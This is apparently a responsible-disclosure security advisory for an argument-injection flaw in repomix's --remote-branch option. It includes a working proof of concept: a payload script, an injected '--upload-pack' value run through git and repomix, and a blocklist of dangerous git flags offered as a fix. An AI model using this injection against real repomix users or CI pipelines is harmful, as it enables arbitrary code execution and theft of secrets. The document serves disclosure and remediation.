repomix EUVD-2026-44758

Vulnerability Metadata

Summary

The --remote-branch CLI option in repomix is vulnerable to argument injection. User-supplied input is passed directly to git fetch and git checkout subprocesses via child_process.execFileAsync without sanitization, -- delimiters, or validation.

An attacker can inject arbitrary git command-line options. By injecting the --upload-pack option and specifying an SSH (git@...) or local (file://) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running repomix. This bypasses the existing dangerousParams blocklist implemented in validateGitUrl().

Vulnerable Code Analysis

File: src/core/git/gitCommand.ts

The remoteBranch parameter is appended directly to the arguments array for git subprocesses without the -- positional delimiter.

Sink 1 (Lines 118-127):

await deps.execFileAsync(
  'git',
  ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable
  gitRemoteOpts,
);

Sink 2 (Lines 148-151):

await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable

Bypassed Security Control (Lines 192-197): The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (--upload-pack, --receive-pack, --config, --exec) within the validateGitUrl function. However, this validation is exclusively applied to the url variable and omitted for remoteBranch, creating a direct bypass.

Attack Flow

[Source] repomix --remote-branch <injected_option>
   ↓
src/cli/actions/remoteAction.ts:226 (cloneRepository)
   ↓
src/core/git/gitCommand.ts:118 (execGitShallowClone)
   ↓
[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])
   ↓
[Execution] git invokes the payload binary via transport helper

Proof of Concept (Steps to Reproduce)

1. Create the Payload Create an executable bash script that writes system execution context to a file. *(Reference: Screenshot_2026-05-18_13_02_16.png)*

cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack

2. Trigger the Vulnerability Establish a dummy remote and trigger the fetch operation, injecting the --upload-pack argument. *(Reference: Screenshot_2026-05-18_13_08_36.png)*

# Setup dummy bare remote
git init --bare /tmp/dummy-remote.git
# Initialize local repo and add remote
mkdir /tmp/test-fetch && cd /tmp/test-fetch
git init
git remote add origin file:///tmp/dummy-remote.git
# Execute vulnerability
git fetch --upload-pack=/tmp/malicious-pack origin 2>&1

3. Verify Execution Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a 128 exit code.

cat /tmp/repomix-pwned.txt

*Expected Output:*

=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...

End-to-End Execution via Repomix:

repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'

Impact

• Remote Code Execution: Complete system compromise with the privileges of the user executing repomix.
• CI/CD Compromise: If repomix is utilized in automated pipelines where --remote-branch is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.

Remediation

1. Implement Positional Delimiters (Primary Fix) Append the -- delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing remoteBranch.

await deps.execFileAsync(
  'git',
  ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],
  gitRemoteOpts,
);

2. Apply Existing Blocklist to Branch Parameter (Defense in Depth) Update execGitShallowClone to validate remoteBranch against the existing dangerousParams array.

const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];

if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {
  throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);
}

Attachments

Screenshot 1: Payload script created with executable permissions. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_02_16" src="https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0" />

Screenshot 2: Vulnerable Code <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_03_44" src="https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032" />

Screenshot 3: Verifying RCE. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_08_36" src="https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135" />

---

Credits

This vulnerability was discovered and responsibly disclosed by:

• Researcher: Abhijith S.
• GitHub: @kakashi-kx
• HackerOne/Bugcrowd: kakashi4kx